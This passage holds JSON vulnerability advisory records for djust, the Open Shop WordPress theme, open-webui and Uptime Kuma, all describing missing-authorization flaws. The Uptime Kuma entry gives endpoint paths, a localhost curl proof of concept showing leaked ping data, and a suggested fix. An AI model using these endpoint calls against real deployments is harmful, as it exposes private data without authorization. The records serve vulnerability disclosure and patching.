  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "djust has broken object-level access control (IDOR)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-57405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T10:16:34Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in themehunk Open Shop open-shop allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Open Shop: from n/a through \u003c= 1.7.1.",
  "id": "GHSA-c7ch-hrfv-gq8p",
  "modified": "2026-07-13T12:35:03Z",
  "published": "2026-07-13T12:35:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57405"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/open-shop/vulnerability/wordpress-open-shop-theme-1-7-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1100",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T17:26:53Z",
    "nvd_published_at": "2025-03-20T10:15:35Z",
    "severity": "MODERATE"
  },
  "details": "In version v0.3.8 of open-webui/open-webui, improper access control vulnerabilities allow an attacker to view any prompts. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the /api/v1/prompts/ interface to retrieve all prompt information created by the admin, which includes the ID values. Subsequently, the attacker can exploit the /api/v1/prompts/command/{command_id} interface to obtain arbitrary prompt information.",
  "id": "GHSA-c7fq-p62p-wvpc",
  "modified": "2025-03-21T17:26:53Z",
  "published": "2025-03-20T12:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7045"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/03ea0826-af7b-4717-b63e-90fd19675ab2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI Has Improper Access Control Leading to Arbitrary Prompt Read"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:47:39Z",
    "nvd_published_at": "2026-03-12T19:16:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `GET /api/badge/:id/ping/:duration?` endpoint in `server/routers/api-router.js` does not verify that the requested monitor belongs to a public group. All other badge endpoints check `AND public = 1` in their SQL query before returning data. The ping endpoint skips this check entirely, allowing unauthenticated users to extract average ping/response time data for private monitors.\n\n## Affected Code\n\nFile: `server/routers/api-router.js`, approximately line 304\n\nThe ping badge endpoint directly calls `UptimeCalculator.getUptimeCalculator(requestedMonitorId)` without first checking if the monitor is public. Compare with the status badge endpoint (~line 148) which correctly queries:\n```sql\nSELECT monitor_group.monitor_id FROM monitor_group, `group`\nWHERE monitor_group.group_id = `group`.id\nAND monitor_group.monitor_id = ?\nAND public = 1\n```\n\n## Protected vs Vulnerable Endpoints\n\n| Endpoint | Has public=1 check? |\n|----------|-------------------|\n| /api/badge/:id/status | Yes |\n| /api/badge/:id/uptime/:duration? | Yes |\n| /api/badge/:id/avg-response/:duration? | Yes |\n| /api/badge/:id/cert-exp | Yes |\n| /api/badge/:id/response | Yes |\n| /api/badge/:id/ping/:duration? | **No \u2014 vulnerable** |\n\n## PoC\n\n1. Install Uptime Kuma (tested on latest v2 stable via Docker)\n2. Create an HTTP(s) monitor (e.g., monitoring http://localhost:3001)\n3. Do NOT add the monitor to any public status page or group\n4. Wait for heartbeats to accumulate (~5 minutes)\n5. Query unauthenticated:\n```bash\ncurl http://localhost:3001/api/badge/1/status   \u2192 returns N/A (correct, monitor is private)\ncurl http://localhost:3001/api/badge/1/ping/24  \u2192 returns \"Avg. Ping (24h): 10ms\" (LEAKED)\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n- Enumerate private monitor IDs\n- Extract average response time data for private monitors\n- Infer existence and reachability of internal monitored services\n\n## Suggested Fix\n\nAdd the same public monitor check before the UptimeCalculator call:\n```javascript\nlet publicMonitor = await R.getRow(`\n    SELECT monitor_group.monitor_id FROM monitor_group, \\`group\\`\n    WHERE monitor_group.group_id = \\`group\\`.id\n    AND monitor_group.monitor_id = ?\n    AND public = 1\n`, [requestedMonitorId]);\n\nif (!publicMonitor) {\n    badgeValues.message = \"N/A\";\n    badgeValues.color = badgeConstants.naColor;\n}\n```\n\n\u003cimg width=\"1228\" height=\"710\" alt=\"Screenshot 2026-02-24 at 4 49 40\u202fPM\" src=\"https://github.com/user-attachments/assets/80aeae2d-be08-449f-8b39-c50da7aaedba\" /\u003e\n\n\u003cimg width=\"1271\" height=\"770\" alt=\"File Alons til View He\" src=\"https://github.com/user-attachments/assets/d50c9a00-282a-4b79-b5e1-f77afde9223a\" /\u003e",
  "id": "GHSA-c7hf-c5p5-5g6h",
  "modified": "2026-03-13T13:35:38Z",
  "published": "2026-03-12T14:47:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-c7hf-c5p5-5g6h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32230"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/issues/7038"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/issues/7135"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/commit/303a609c05d0b174a5045c90f53c2b557d4febae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/louislam/uptime-kuma"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/releases/tag/2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uptime Kuma is Missing Authorization Checks on Ping Badge Endpoint, Leaks Ping times of monitors without needing to be on a status page"
}